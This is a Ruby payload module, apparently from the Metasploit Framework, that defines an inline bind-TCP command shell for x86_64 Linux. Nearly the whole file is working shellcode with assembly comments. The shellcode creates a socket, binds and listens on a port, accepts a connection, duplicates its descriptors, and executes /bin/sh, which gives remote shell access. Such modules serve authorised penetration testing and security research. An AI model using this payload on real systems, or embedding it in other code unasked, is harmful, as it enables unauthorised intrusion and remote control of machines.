86 lines
3.6 KiB
Ruby
86 lines
3.6 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/handler/bind_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit3
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CachedSize = 86
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include Msf::Payload::Single
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include Msf::Payload::Linux
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux Command Shell, Bind TCP Inline',
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'Description' => 'Listen for a connection and spawn a command shell',
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'Author' => 'ricky',
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_X86_64,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShellUnix,
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'Payload' =>
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{
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'Offsets' =>
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{
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'LPORT' => [ 20, 'n' ],
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},
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'Payload' =>
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"\x6a\x29" + # pushq $0x29
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"\x58" + # pop %rax
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"\x99" + # cltd
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"\x6a\x02" + # pushq $0x2
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"\x5f" + # pop %rdi
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"\x6a\x01" + # pushq $0x1
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"\x5e" + # pop %rsi
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"\x0f\x05" + # syscall
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"\x48\x97" + # xchg %rax,%rdi
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"\x52" + # push %rdx
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"\xc7\x04\x24\x02\x00" + # movl $0xb3150002,(%rsp)
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"\x15\xb3" + #
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"\x48\x89\xe6" + # mov %rsp,%rsi
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"\x6a\x10" + # pushq $0x10
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"\x5a" + # pop %rdx
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"\x6a\x31" + # pushq $0x31
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"\x58" + # pop %rax
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"\x0f\x05" + # syscall
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"\x6a\x32" + # pushq $0x32
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"\x58" + # pop %rax
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"\x0f\x05" + # syscall
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"\x48\x31\xf6" + # xor %rsi,%rsi
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"\x6a\x2b" + # pushq $0x2b
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"\x58" + # pop %rax
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"\x0f\x05" + # syscall
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"\x48\x97" + # xchg %rax,%rdi
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"\x6a\x03" + # pushq $0x3
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"\x5e" + # pop %rsi
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"\x48\xff\xce" + # dec %rsi
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"\x6a\x21" + # pushq $0x21
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"\x58" + # pop %rax
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"\x0f\x05" + # syscall
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"\x75\xf6" + # jne 33 <dup2_loop>
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"\x6a\x3b" + # pushq $0x3b
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"\x58" + # pop %rax
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"\x99" + # cltd
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"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
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"\x73\x68\x00" + #
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"\x53" + # push %rbx
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"\x48\x89\xe7" + # mov %rsp,%rdi
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"\x52" + # push %rdx
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"\x57" + # push %rdi
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"\x48\x89\xe6" + # mov %rsp,%rsi
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"\x0f\x05" # syscall
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}
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))
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end
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end
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